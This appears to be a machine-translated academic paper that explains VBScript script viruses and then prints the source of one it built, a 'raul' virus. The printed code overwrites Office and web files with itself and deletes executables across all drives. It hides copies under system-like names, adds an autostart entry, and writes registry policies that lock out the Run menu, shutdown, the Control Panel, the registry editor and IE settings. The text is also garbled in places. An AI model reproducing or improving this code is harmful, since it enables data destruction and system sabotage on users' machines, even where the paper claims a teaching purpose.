Pisco Med Publishing

# A simple realization of the computer virus

**Qinghong Liang,Shangying Cao,Zhengan Qi**

Information Engineering College, Panzhihua University of Technology, Sichuan, China

***Abstract:*** A computer virus is a computer program or instruction set that can interfere with the normal operation of the computer and cause the computer hardware and software to malfunction and destroy the computer data. With the computer in various fields of social life widely used, computer virus attack and prevention technology is also constantly expanding, to prevent computer viruses are also more and more attention. This paper starts from the basic theory of script virus and the key technology of scripting virus, and realizes a simple script virus, and deeply analyzes the mechanism and principle of script virus. This paper summarizes the development history and development trend of computer virus, briefly introduces the basic knowledge of VBScript, Windows Script Host (WSH) and registry required to realize script virus. This paper focuses on the working principle of the script virus and the main techniques used in each module. Taking the source code of the script virus as an example, it analyzes the function of design idea, infection module, damage module and tag module, and implements the script virus Recursive algorithm for searching disk mechanisms and infection mechanisms.

***Keywords*:** computer virus registry Windows script host recursive algorithm

## 1. Introduction

In recent years, the rapid development of computer technology, a variety of new technologies have been applied, the development of new technologies for us to bring convenience, so that information exchange more efficient and effective, and the virus also with the extensive application of computer technology has been developed , from DOS to Windows and then to the internet, the virus is everywhere, and even intensified, the destruction of the calculation is also escalating, the study of the virus principle and structure is imminent. Knowledge of the virus, help the development of anti-virus technology to understand the principles and structure of the virus in order to clear and prevent the virus, reduce the virus to bring us the loss.

In this paper, a script virus, for example, were analyzed the computer virus infection module, damage module, search module, analysis of the general structure of the virus program. Analyzes the functional characteristics of each module, and implements a script virus to achieve the purpose of in-depth analysis of the script virus principle.

The purpose of this article is to understand the development of the virus and the virus program design ideas, master the basic knowledge of the virus, so that we can early prevention and treatment as soon as possible to find the existence of the virus to improve the safety of the computer, meaning self-evident.

## 2. The history of the development of the virus

### 2.1. The history of computer virus development


doi: 10.18282/ics.v1i1.586

By 1987, the first computer virus C-BRAIN was finally born. In general, the industry is recognized that this is really a complete feature of the computer virus ancestor. The virus program was written by a pair of Pakistani brothers: Basit and Amjad, who run a shop selling personal computers locally, and because of the prevalence of local pirated software, their purpose is mainly to prevent their software was any unauthorized copying. As long as someone steals their software, C-BRAIN will attack, the pirates of the hard disk to the remaining space to eat.

The virus at the time and not much lethality, but then some people with C-BRAIN as a blueprint to produce some deformation of the virus and other new virus creation, have also come out, not only personal creation, and even a lot of creative groups (such as Nuke, Phalcon / Skism, VDV). All kinds of anti-virus, anti-virus and anti-virus software and professional companies have also appeared. For a time, a variety of virus creation and anti-virus program, continue to introduce new, a hundred schools of thought contend.

## 2.2. The current status of the computer virus

1. Computer network (Internet, LAN) has become the main route of transmission of computer viruses, the use of computer networks has gradually become the common ground of computer virus attack conditions.

Computer viruses only through the fi rst copy of the fi le spread, when the most common media is fl oppy disk and pirated discs. With the development of computer networks, the current computer viruses can be spread through computer networks using a variety of ways (e-mail, web pages, instant messaging software, etc.). The development of computer network will help the computer virus spread greatly improved; the scope of infection is also more and more widely. It can be said that the network has brought the high efficiency of computer virus infection. Compared with the previous computer virus gives us the impression that the computer virus initiative (active scanning can infect the computer), independence (no longer dependent on the host fi le) is stronger.

2. Computer virus deformation speed and to the mixed, diversifi ed development

Computer viruses to mixed, diversifi ed development of the results of some of the virus will be more sophisticated, and some other viruses will be more complex, mixed with a variety of virus features, such as the red code virus (Code Red) is a combination of fi le-based, worm-type virus, this trend will cause anti-virus work more di ffi cult. On January 27, 2004, a new type of worm spread in the enterprise e-mail system, resulting in a surge in the number of messages, thus blocking the network. Diff erent anti-virus manufacturers will be named Novarg, Mydoom, SCO bombs, Norwich, small postman variants, the virus is used in a combination of viruses and spam tactics, uninformed users of the waves so that the spread of the virus The speed seems to be faster than the recent spread of several other viruses.

3. Operation mode and the way of transmission of concealment

Microsoft Security Center issued a vulnerability notice in MS04-028 mentioned GDI + vulnerability, the hazard level was set to 'serious'. In a computer infected with a computer virus, you may only see some common normal processes such as svchost, taskmgr, etc., in fact it is a computer virus process.

4. Exploit operating system vulnerabilities

Operating system is a bridge between computer users and computer systems, but also the core of the computer system, the most widely used is the WINDOWS series of operating systems. With the DOS operating system usage reduction, infected DOS operating system computer virus will also withdraw from the stage of history; with the WINDOWS operating system usage increases, for the WINDOWS operating system, the computer virus will become mainstream.

5 Computer virus technology and hacker technology will be increasingly integrated

Strictly speaking, Trojans and backdoor programs are not computer viruses because they cannot copy and spread themselves. But with the development of computer virus technology and hacker technology, virus writers will eventually combine these two technologies.

6. Material interests will be the driving force for the development of computer viruses

From the history of the development of computer viruses, the interest in technology and hobbies are the source of the development of computer viruses. But more and more signs that material interests will be the driving force behind the development of computer viruses.

Today, many banks are providing online verification or password key, users do not just cost savings and risk

of huge fi nancial risk. It is quite necessary to buy a cryptographic key or a digital certificate.

### 2.3. Computer virus development trend

Prospects for the development of all scripted viruses: With the rapid development of the network, the network worms are becoming popular, and the VBS script worms are more prominent, not only in large numbers, but also in power. As the use of scripting virus is relatively simple, in addition to the current popular VBS script virus will gradually appear more other script class viruses, such as PHP, JS, Perl virus. But the script is not really the best tool for virus technology enthusiasts to write the virus, and the script virus is easier to lift, relatively easy to guard against. Scripting viruses will continue to be popular, but can have a few worms like worms, new happy moments that aff ect the script worms. The development trend of computer virus:

1. High frequency

The frequency of the virus outbreak is high, resulting in a greater impact on the computer virus to hundreds of species as much. The proportion of malignant virus, the virus on the computer users to increase the harm;

2. Spread fast, wide range of hazards

As the characteristics of the network determines the domestic computer virus almost simultaneously with the outbreak of foreign virus outbreak, and rapid large area popular. The biggest threat to user security is the vicious network worm.

3. New virus production technology

Unlike traditional computer viruses, many new viruses are implemented using the latest programming languages and programming techniques, making it easy to modify to generate new variants that evade anti-virus software searches. For example, 'love worm' virus is written in VBScript language, as long as the software comes with Windows under the modifi ed part of the virus code, you can easily create a virus variant to avoid anti-virus software pursuit.

4. Virus form diversifi cation

The virus presents a diversifi ed trend. Virus analysis shows that although the new virus continues to produce, but the earlier virus attack is still common, and to cartoon pictures, ICQ, OICQ and other aspects of development. In addition, the new virus is more adept at camoufl age, such as the theme will change in the spread, many viruses will be disguised as a common program, or the virus code written to the length of the fi le without change, used to paralyze computer users.

5. Virus generation tool

In the past, computer viruses are produced by the master of the program, the preparation of the virus show their own technology. 'Kournikova' virus designers just modify the downloaded VBS worm tor, 'Kournikova' virus was born. According to reports, VBS worm incubator was downloaded by more than 150,000 times. Since such tools can be easily accessed on the web, the frequency of new viruses is now beyond anytime.

3. Related tools brief introduction

3.1. WSH (Windows Script Host) Introduction

The VBS code is executed locally via the Windows Script Host (WSH). VBS script execution is inseparable from the WSH, WSH is provided by Microsoft based on a 32-bit Windows platform, language-independent script interpretation mechanism, which makes the script directly in the Windows desktop or command prompt to run. With WSH, users can manipulate WSH objects, ActiveX objects, registries, and fi le systems.

1. Overview

WSH, is the 'Windows Scripting Host' abbreviated form, the common Chinese translation for the 'Windows script host.' It is embedded in the Windows operating system in the scripting language work environment. Windows Scripting Host this concept fi rst appeared in the Windows 98 operating system. The batch command under MS-Dos is similar to today's scripting language. Microsoft in the development of Windows 98, in order to achieve a variety of script fi les in the Windows interface or Dos command prompts under the direct operation, in the system implanted a 32-bit Windows platform, and independent of the language script running environment, and Name it 'Windows Scripting Host'. WSH architecture on ActiveX, by acting as an ActiveX scripting engine controller, WSH for Windows users make full use of powerful script instruction language to clear the obstacles.

## 2. Composition

WSH comes with several built-in objects include:

The object provided by Wscript.exe

Wscript as Wscript public to the script engine.

WshArguments is accessed via the Wscript.Arguments property. Provided by WSHom.Ocx.

WshShortcut is accessed via the WshShell.CreateShortcut method. WshUrlShortcut is accessed via the WshShell.CreateShortcut method. WshCollection is accessed via WshNetwork.EnumNetworkDrives. WshEnvironment is accessed through the WshShell.Environment property.

WshSpecialFolders is accessed through the WshShell.Folder property.

They can mainly complete the environment variable access, network login, drive mapping, fast cut mode creation, program loading, special folders (such as system folder) information access and other functions.

# 3. The role of WSH

WSH design, to a large extent considered the 'non-interactive script (no interactive scripting)' needs. The WSH generated under this guiding ideology gives the script a very powerful feature that can be used to complete the mapping of network drives, retrieve and modify environment variables, handle registry entries, and so on; administrators can also use WSH support Create a simple login script, and even write scripts to manage Active Directory. In fact, the realization of these functions, and WSH built-in multiple objects are closely related to these built-in object shoulders the direct task of scripting.

## 3.2. Introduction to VBScript Language

Microsoft Visual Basic Scripting Edition is the newest member of the Visual Basic family of program development languages, and it applies fl exible scripts to a wider range of Web applications, including Web client scripts in Microsoft Internet Explorer and Web server scripts in Microsoft Internet Information Server.

VBScript can either write server scripts or write client scripts.

The advantage of the client programming language is that the browser has done all the work, which can reduce the burden on the server, and the client program runs much faster than the server-side program.

## 3.3 Basic knowledge of the registry

Windows registry is to help Windows control hardware, software, user environment and Windows interface, a set of data fi les, the registry contains two fi les in the Windows directory system.dat and user.dat Lane. Through the Windows directory regedit.exe program can access the registry database. In the past, earlier versions of Windows (before Win95), these features were implemented by win.ini, system.ini and other .ini fi les associated with the application.

The registry is a core 'database' for the operating system, hardware devices, and client applications to function properly and save settings; it is a huge tree-like hierarchical database. It records the software installed on the machine and the interrelationships of each program; it contains the hardware configuration of the computer, including the automatic confi guration of the plug and play devices and the existing equipment description, status attributes and the kind of state information and data.

The registry in the system is a database that records the settings and location of 32-bit drivers. When the operating system needs to access the hardware device, it uses the driver, and even the device is a BIOS supported device. No BIOS-supported devices must be installed when the driver is driven, this driver is independent of the operating system, but the operating system needs to know where to fi nd them, fi le name, version number, other settings and information, no registration of the device to the device. It cannot be used.

WINDOWS the registry has six root keys:

1. HKEY_USERS The root key holds the user ID and password list stored in the local computer password list, that is, the user settings. Each user's preconfi guration information is stored in the HKEY_USERS root key. HKEY_USERS is one of the root keys accessed in the remote computer. The content depends on whether the user has activated the user profi le. If the user profi le is not activated, you can see a single subkey called .DEFAULT that includes various settings related to all users, The USER.DAT fi le matches. If the user profi le is activated and the login is performed correctly, there is also a 'user name' subkey, which is the name of the user login.

2. HKEY_CURRENT_USER The root key contains the currently logged in user information stored in the local workstation, including the user login user name and the temporary password.

3. HKEY_CURRENT_CONFIG This root key holds information about the current user's desktop confi guration (such as a monitor, etc.), the last used document list (MRU), and other Windows 98 Chinese version of the current user.

4. HKEY_CLASSES_ROOT The key consists of multiple sub-keys, the specifi c can be divided into two

kinds: one is already registered all kinds of fi le extensions, the other is a variety of fi le types of information. The subkeys in the left column are the various fi le extensions that have been registered. Among the registry extensions that have been registered in the registry, there are system defaults and application-defi ned extensions. The application only registers the custom extension in the registry, and the system can recognize and associate the associated document, but only the registered extension can automatically be associated with the system.

5 HKEY_LOCAL_MACHINE the core of the registry, the computer's various hardware and software confi guration are present here. It includes the following eight parts: Config configuration, Driver driver, Enum plug and play, Hardware hardware, Network network, Security security, Software software, System system. Each section also includes many subkeys. The root key stores the local computer hardware data, which is included in SYSTEM.DAT to provide the information required by HKEY_LOCAL_MACHINE or in a set of keys accessible in the remote computer. Many of the child keys in the root key are similar to those set in the System.ini fi le.

6. HKEY_DYN_DATA The root key stores the system at run-time dynamic data, this data is changed every time the display, so the root of the information under the key is not placed in the registry.

# 4. VBScript script virus characteristics and principle analysis

## 4.1. VBScript script virus characteristics

VBS virus is written in VBScript, the script language is very powerful, they use the Windows system open features, by calling some off-the-shelf Windows objects, components, you can directly on the file system, the registry, etc. to control, very powerful. It should be said that the virus is an idea, but this idea in the use of VBS implementation becomes extremely easy. VBS script virus has the following characteristics:

1. Write a simple, a virus unknown to the rus before the virus lovers in a very short time to compile a new virus.

2. Destructive. Its destructive power is not only refl ected in the user system fi les and performance damage. He can also make the mail server crashes, the network is seriously blocked.

3. Strong infection. Since the script is directly interpreted and executed, and it does not need to be done like a PE virus, it is necessary to do complex PE fi le format processing, so this type of virus can infect other similar fi les directly through self-replicating, and the self-exception handling becomes very easy.

4. Spread a wide range. This type of virus through the htm document, Email attachments or other means, can be spread in a very short period of time around the world.

5 Virus source code is easy to get, variants and more. As the VBS virus interpretation of the implementation of its source code is very readable, even if the virus source code after encryption, the source code is still relatively simple to obtain. Therefore, the virus variants are more, slightly change the structure of the virus, or modify the eigenvalue; a lot of anti-virus software may be powerless.

6. Deceptive For example, the attachment name of the message is double-su ffi xed, such as '.jpg', '.vbs', because the system does not display suffi x by default, so that the system does not show the suffi x, Users see this fi le, it will think it is a jpg picture fi le.

7. Making the virus production machine to achieve very easy.

## 4.2. VBScript script virus principle analysis

Infection Damage File section

Define the system file operation object, getfolder method to get all the files under the folder, getextensionname method to get all the fi le suffi x name, compare the suffi x name, if the suffi x is 'html', 'htm', 'xls', 'doc' , 'Ppt', 'vbs', the vbscopy variable will be written to the fi le, covering the contents of the original fi le, to achieve infection. If the suffi x is 'exe', 'com', 'bat', the fi le is deleted directly. Recursively call the above steps.

Modify the registry

Defi ne the registry process regcreate, call regcreate process to achieve the registry changes

Set the infection mark

Open the current fi le, read the current fi le, to determine whether there are 'Rem You have infected by raul virus' fi eld. If it matches, the fi le has been infected and, if there is no match, the infection operation is performed. The infection operation reads the virus code.

See the next section for specifi c steps and implementation codes.

# 5. Scripting virus implementation

## 5.1. Scripting virus necessary knowledge

FSO Introduction The FSO (File System Object) object model can access the file system. The model provides an object-based tool that allows you to do a variety of operations on the fi le system more easily and fl exibly in your application through a set of properties and methods.

The FSO object model contains the following objects:

Drive object: Allows you to collect information such as the available space of the drive, such as a hard disk, CD-ROM, etc., that the system is physically or connected to the system via the LAN.

Folder object: allows you to create, delete or move the folder, and to the system query folder name, path and so on.

Files object: allows the creation, deletion or movement of documents, and to the system query fi le name, path and so on.

TextStream object: Allows you to create and read and write text fi les.

FileSystemObject object: Provides a complete set of methods for the drive, folder, and file operations that can be functionally seen as a collection of several objects above and often used in conjunction with them. Many of the methods associated with this object duplicate the methods in the previous four objects, so that most of the operations on the drives, folders, and fi les can be made through the FileSystemObject object, or through the corresponding drive, folder, or fi le object pair these components operate. FSO model through two ways to achieve the same object operation, the operation effect is the same, to provide this redundant function is designed to achieve maximum programming fl exibility.

Get the text fi le object

1. Creating a FileSystemObject Object Instance To perform a fi le operation, you must fi rst create a FileSystemObject object instance to create or open a fi le. Create a FileSystemObject object instance of the specifi c format (to FSO) as an example: Set FSO = CreateObject ('Scripting.FileSystemObjecct')

2. Using FileSystemObjec to get the text fi le object TextStreamFileSystemObject provides two methods for obtaining the text fi le object TextStream, which is used to create the fi le CreateTextFile, open the existing fi le is OpenTextFile, the return of the two methods are a TextStream Object instance, the use of the object can be the specifi c operation of the fi le.

A. Create a new fi le

The specifi c format for creating a new fi le is (for example, FSO):

FSO.CreateTextFile (NewFileName, OverwriteExistingFile, IsUnicode)

Where: NewFileName is a string value that specifi es the name of the fi le to be created, usually the actual path of the fi le plus the fi le name. OverwriteExistingFile is a Boolean value that indicates whether or not the original fi le is overwritten if there is a fi le of the same name. This parameter can be omitted, the default is False, that is not covered the original fi le. IsUnicode is a Boolean value that indicates whether the fi le to be created is an ASCII fi le or a Unicode fi le. This parameter can be omitted. The default is False, which is an ASCII fi le.

B. Open the existing fi le

Open the existing fi le method of the specifi c format (to FSO as an example):

FSO.OpenTextFile (FileName, IOMode, create, format) where: FileName is a string value that specifi es the name of the fi le to be opened, usually the actual path of the fi le plus the fi le name. IOMode is a constant value that indicates the purpose of opening a fi le, ForReading (1) for reading data; ForAppending means to increase the data. This parameter can be omitted, by default for ForReading. Create is a Boolean value that indicates whether the fi le to be opened does not exist when creating a new fi le.

This parameter can be omitted, the default is False, that is not to create a new fi le. Format Indicates how the fi le is opened. Its possible values and meanings are as follows: TristateTrue: Open in Unicode. TristateFalse: Open as ASCII.

TristateUseDefault: Open by default in the system. This parameter can be omitted, the default is TristateFalse, that is, ASCII mode.

C. Operation of the document

After the establishment or opening of the document, you can use the object TextStream provided by the method of the actual operation of the fi le.

1. The methods used to write are:

A. Write (string) Writes the string specifi ed by string to the fi le.

B. WriteLine (string) Writes a string specifi ed by string in the fi le and writes a newline character.

The argument string can be omitted, and a blank line is inserted in the fi le.

C. WriteBlankLines (NumOfLines) insert a number of blank lines in the file, the number of rows specified by NumOfLines.

2. Methods and methods for reading are:

A. AtEndOfLine this property is a Boolean value that indicates whether the fi le pointer has pointed to the end of the current line.

B. AtEndOfStream this property is a Boolean value indicating whether the fi le pointer has pointed to the end of the fi le.

C. Column this attribute is an integer value that represents the position of the fi le pointer in the current row.

D. Line this attribute is an integer value that represents the line number of the line where the fi le pointer is located.

E. Read (NumOfCharacters) this method starts with the current position of the fi le, reads a number of characters specifi ed by the NumOfCharacters number, and returns a string.

F. ReadLine this method starts at the current position of the fi le and reads the contents of the current line until the end of the line returns a string.

G. ReadAll this method starts with the current position, reads the contents of the entire fi le until the end of the fi le, returns a string.

H. Skip this method starts by skipping the number of characters specifi ed by the NumOfCharacters number from the current position of the fi le.

I. SKipLine this method skips the contents of the current line from the current position of the fi le. 3. The methods used to close the fi le are: Close Close the fi le that has been created or opened.

## 5.2. Functional fl ow chart

Script virus program fl ow: First, initialize the work and create the main function of the process, followed by the search fi le, select a fi le and determine the infection conditions, if it has been infected, the end of the damage to destroy the fi le module, and select the next fi le. If it is not infected, execute the infected fi le module and select the next fi le. And use the recursive algorithm to invoke the search fi le module itself, and manipulate the subfolder. After the disk search, fi le infection damage operation is completed, the implementation of the registry modifi cation operation, the fi nal end of the program.

## 5.3. Design ideas

1. Initialization section: Defines the relevant global variable.

2. Main function part: the use of system fi le operations (FSO) object to operate on each fi le, call the scan process, disk traversal process, the registry operation process.

3. File search part: the use of system fi les to operate the object, by calling getfolder method, get the path of the fi le, and then recursive algorithm, call the process itself, to achieve access to the folder.

4. File destruction part: to determine the file suffix, if the conditions are met, the implementation of the delete operation.

5 File infected part: If the fi le is not infected, the script itself will overwrite the source code of the virus, to achieve the target fi le infection.

6. Registry operation part: create a registry key to modify the process, and then call the process to modify the registry operation.

## 5.4. Functional module implementation Main function module

The module is mainly used by the object: CreateObject object to create a registry object The main method used by the module:

The RegRead method reads the registry key The Regcreate method creates the registry key Code Resolution:

The main function module first creates the object for the registry operation, then calls the regread method and the regcreate method to set the timeout for the Windows script host program that executes the VBScript script, adding operations to prevent the operation from overtime. And then copy the virus fi les to the windows directory and system32 directory backup. And then call the infected fi le module, destroy the fi le module, the registry operation module.

The key code is as follows:

```
Main ()
Sub main ()
```

On Error Resume Next
Dim wscr, rr
Set wscr = CreateObject ('WScript.Shell')
Rr = wscr.RegRead ('HKEY_CURRENT_USER \\ Software \\ Microsoft \\ Windows Scripting Host \\ Settings \\ Timeout')
If (rr> = 1) then
Wscr.regcreate 'HKEY_CURRENT_USER \\ Software \\ Microsoft \\ Windows Scripting Host \\ Settings \\ Timeout', 0, 'REG_DWORD'
Note - to prevent the operation caused by the termination of the program. End if
Set dirwin = fso.GetSpecialFolder (0)
Set dirsystem = fso.GetSpecialFolder (1)
Set dirtemp = fso.GetSpecialFolder (2)
'Get the name of the system key folder
Set c = fso.GetFile (WScript.ScriptFullName)
C.Copy (dirsystem \u0026 '\\ MSKernel32.vbs')
C.Copy (dirwin \u0026 '\\ Win32DLL.vbs')
C.Copy (dirsystem \u0026 '\\ raul.TXT.vbs')
'Copy itself to the critical directory.
M = msgbox ('The virus is scanning!', 0, 'raul-virus')
'Pop-up warning window, the virus is running the search function
Scan ('C:')
M = msgbox ('The virus is deleting your fi le!', 0, 'raul-virus')
Delete ('C:')
Scan ('D:')
Delete ('D:')
Scan ('E:')
Delete ('E:')
Scan ('F:')
Delete ('F:')
Regruns ()
End sub
Infected File Module
The module is mainly used by the object:
Filesystemobject Object System File Action Object
The collection of all the fi les in the Files object folder
The main method used by the module:
The GetFolder method returns the specifi ed folder object
The Getextensionname method returns a string containing the fi le extension
Opentextfi le method to open the specifi ed fi le
The GetBaseName method returns the base name of the fi le
The GetFile method returns the specifi ed fi le
The Write method writes the specifi ed content to the string
Copy method to copy the specifi ed fi le
Code Resolution:
Script viruses can infect fi les directly by copying their own code. Most of the virus in the code can be added directly to the middle of another program. The following code is the key code for infecting the fi le module:

1. First defi ne the system fi le operation fso.
2. Then call the opentextfi le method to open a fi le and copy the fi le to the raul object.
3. To determine the fi le name suffi x, if it is html, htm, xls, vbs, doc, ppt, then call the write method will meet the above su ffi x name of the fi le open, and the virus itself code into the fi le to achieve infection operation.
4. Then call the getbasename method to get the name of the fi le to be infected.
5 And then write this string to the source fi le, and create a source fi le with the source name of the fi le name prefi x to vbs' suffi x for the new fi le.
6. Finally remove the source target fi le.

The key code is as follows:
Dim fi le, fc, raul, aname
Set fso = wscript.createobject ('scripting.fi lesystemobject')
Set folder = fso.getfolder (lujing)
Set fc = folder.Files
Ext = fso.getextensionname (fi le.path)
Ext = lcase (ext)
If (ext = 'html') or (ext = 'htm') or (ext = 'xls') or (ext = 'vbs') or (ext = 'doc') or (ext = 'ppt ') Then
Set raul = fso.OpenTextFile (f1.path, 2, true)
Raul.write vbscopy
Raul.close
Aname = fso.GetBaseName (f1.path)
Set cop = fso.GetFile (f1.path)
Cop.copy (lujing \u0026 '\\' \u0026 aname \u0026 '.vbs')
5.4.3 Search the fi le module
The module is mainly used by the object:
Filesystemobject Object System File Action Object
The collection of all the fi les in the Files object folder

The main method used by the module:
The Getfolder method returns the folder object in the specified path
The Subfolders property returns a collection of folders consisting of the specified subfolders Code Resolution:
1. First of all, this module defines the system fi le operation object fso.
2. And then call the getfolder method, get the need to search the path (scan process inside the parameters that need to search the path) that folder, and the folder object attached to the variable folder.
3. And then reference the fi les property, get all the subfolders under the folder fi le collection, and the object attached to the variable fc.
4. And then through the for loop statement, to fc (fi le collection) under all the fi les in order to identify the infection mark, damage, infection and other operations.
5 The subfolders property is then referenced, and the subfolder collection object is appended to the variable sf.
6. Through the for loop statement, and call the scan process (recursive algorithm), the recursive algorithm can raverse the entire partition of the directory and fi le. To achieve the sf (fi le collection) under all the fi les in order to operate. So as to achieve the purpose of searching the entire folder.
The key code is as follows:
Sub scan (lujing)
On error resume next
Dim fi le, fc
Set fso = wscript.createobject ('scripting.fi lesystemobject') Set folder = fso.getfolder (lujing)
Set fc = folder.fi les
For each fi le in fc
/ * Script virus infection and delete module statement * /Next
Set sf = folder.subfolders
For each fi le in sf
Scan (fi le)
Next
End sub
Damage module
The module is mainly used by the object:
File system object Object System File Action Object
The collection of all the fi les in the Files object folder
The main method used by the module:
The Delete file method deletes the specified fi le
Code Resolution:
1. First defi ne the system fi le operation fso.
2. Call the getfolder method to get the folder under the specifi ed path.
3. For each fi le under the folder to determine the fi le name suffi x, if it is exe, com, bat, then call deletefi le method, will meet the above fi le name suffi x fi le directly deleted to achieve damage function.
The key code is as follows:
Sub delete (lujing)
On error resume next
Dim fi le, fc
Set fso = wscript.createobject ('scripting.fi lesystemobject') Set folder = fso.getfolder (lujing)
Set fc = folder.fi les
For each fi le in fc
If (ext = 'exe') or (ext = 'com') or (ext = 'bat') then
Fso.deletefi le (fi le.path)
Next
End sub
Registry operation module
The module mainly uses the function:
CreateObject function to create a registry object
The main method used by the module:
Regwrite method to write the value of the specifi ed registry key code analysis:
1. The module fi rst defi nes the process of creating a registry key. Call the createobject function to create a registry modifi cation object. Call the regwrite method to write the registry key.
2. In the process of regruns call regcreate process, the implementation of prohibit the operation of the menu, prohibit the shutdown of the system menu, boot automatically run and other operations, as well as IE to modify the operation.
The key code is as follows:
Sub regcreate (regkey, regvalue)
Set regedit = CreateObject ('WScript.Shell') Regedit.RegWrite regkey, regvalue
End sub
Sub regruns ()
Regcreate 'HKCU \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ Explorer \\ NoRun', 1, 'REG_ DWORD' 'Disable the run menu

Regcreate 'HKCU \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ Explorer \\ NoClose', 1, 'REG_ DWORD' 'Disable the shutdown of the system menu

Regcreate 'HKCU \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Policies \\ Explorer \\ NoDrives', 63000000, 'REG_DWORD' 'Hide the drive letter

regcre-

ate'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\\ DisableRegistryTools ', 1,' REG_DWORD " prohibit the use of Registry Editor

Regcreate 'HKLM \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Run \\\\ ScanRegistry', 1, 'REG_ DWORD' 'Do not use the registry scan

Regcreate 'HKCU \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Policies \\\\ Explorer \\\\ NoLogOff ', 1, 'REG_DWORD' 'Disable the logout menu

Regcreate 'HKLM \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Run \\\\ Win32system', 'Win32system.vbs' 'Power On Auto Run

Regcreate 'HKCU \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Policies \\\\ Explorer \\\\ NoDesktop', 1, 'REG_DWORD' 'Do not show all icons on the desktop

Regcreate 'HKCU \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Policies \\\\ WinOldApp \\\\ Disabled', 1, 'REG_DWORD' 'Prohibited dos

Regcreate 'HKCU \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Policies \\\\ Explorer \\\\ NoSetTaskBar', 1, 'REG_DWORD' 'Disable the taskbar and start

Regcreate 'HKCU \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Policies \\\\ Explorer \\\\ NoViewContextMenu', 1, 'REG_DWORD' 'Disable right-click menu

Regcreate 'HKCU \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Policies \\\\ Explorer \\\\ NoSetFolders', 1, 'REG_DWORD' 'Disable Control Panel

Regcreate 'HKLM \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Winlogon \\\\ LegalNoticeCaption', 'kkhk' 'boot dialog box header

Regcreate 'HKLM \\\\ Software \\\\ Microsoft \\\\ Windows \\\\ CurrentVersion \\\\ Winlogon \\\\ LegalNoticeText', 'ij' 'boot dialog box contents

'The following is the relevant IE operation

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ Restrictions \\\\ NoBrowserContextMenu', 1, 'REG_DWORD' Disable IE right-click menu

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ Restrictions \\\\ NoBrowserOptions', 1, 'REG_DWORD' Disable Internet Options

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ Restrictions \\\\ NoBrowserSaveAs', 1, 'REG_DWORD' Disable the Save As Menu

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ Restrictions \\\\ NoFileOpen', 1, 'REG_DWORD' Disable File Open Menu

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ ControlPanel \\\\ Cache Internet', 1, 'REG_DWORD' Do not change the temporary fi le settings

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ ControlPanel \\\\ AutoConfi g', 1, 'REG_DWORD' Do not change the automatic confi guration

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ ControlPanel \\\\ HomePage', 1, 'REG_DWORD' prohibits changing the home page

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ ControlPanel \\\\ History', 1, 'REG_ DWORD' Do not change the history settings

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ Restrictions \\\\ NoViewSource', 1, 'REG_DWORD' Do not view the source fi le

Regcreate 'HKCU \\\\ Software \\\\ Policies \\\\ Microsoft \\\\ InternetExplorer \\\\ ControlPanel \\\\ SecurityTab', 1, 'REG_DWORD' Prohibit security items

End sub

Infection Marker Module

The module is mainly used by the object:

Filesystemobject object Creates a system fi le operation object The main method used by the module:

Opentextfi le method to open the specified fi le

The Readall method reads the fi le and returns the string The Write method writes a specific string to the fi le Code Resolution:

The module first defines the matching function Sc, which uses the InStr function, which is used to determine

whether there is a defi ned 'You have infected by raul virus' string in the fi le. If it matches, it returns True and attends Sc. Match, then return False, attached to Sc.

The module then defines the Fw process, the first definition of the system fi le operation object, and then call the OpenTextFile method, open the path specified in the fi le, and then readall method, read the fi le flow, call the matching function to determine whether the match. If the match is that has been infected, you can continue to determine the next fi le, if not match that is not infected, the implementation of infection and damage to the fi le module.

# 6. Conclusion

This paper mainly analyzes the basic principles of script virus, and describes the main techniques of script virus. Implemented a simple script virus. The script virus is written in the VBScript scripting language, which includes script virus infection module, destruction module, search fi le module, tag module.

As the script virus only spread on the local disk, the future direction of development for the increase in network communication module to enhance the infectivity of the virus. Strengthen the virus's own defense capabilities, increase the anti-virus software to kill the process of the module.

# References


1. Zhang Shibin, Tan San. Network security technology [M]. Beijing: Tsinghua University Press, 2004.
2. Zhang Yousheng, Mian Ran. Computer virus and Trojan horse program design analysis [M]. Beijing: Beijing Kehai Electronic Publishing House, 2003.
3. Zhang Hanting. Computer virus and anti-virus technology [M]. Beijing: Tsinghua University Press, 1996.
4. Yuan Zhongliang. Computer virus prevention technology [M]. Beijing: Tsinghua University Press, 1998.
5. Yi Hong. Computer virus is now found to kill [M]. Beijing: China Materials Publishing House, 1999.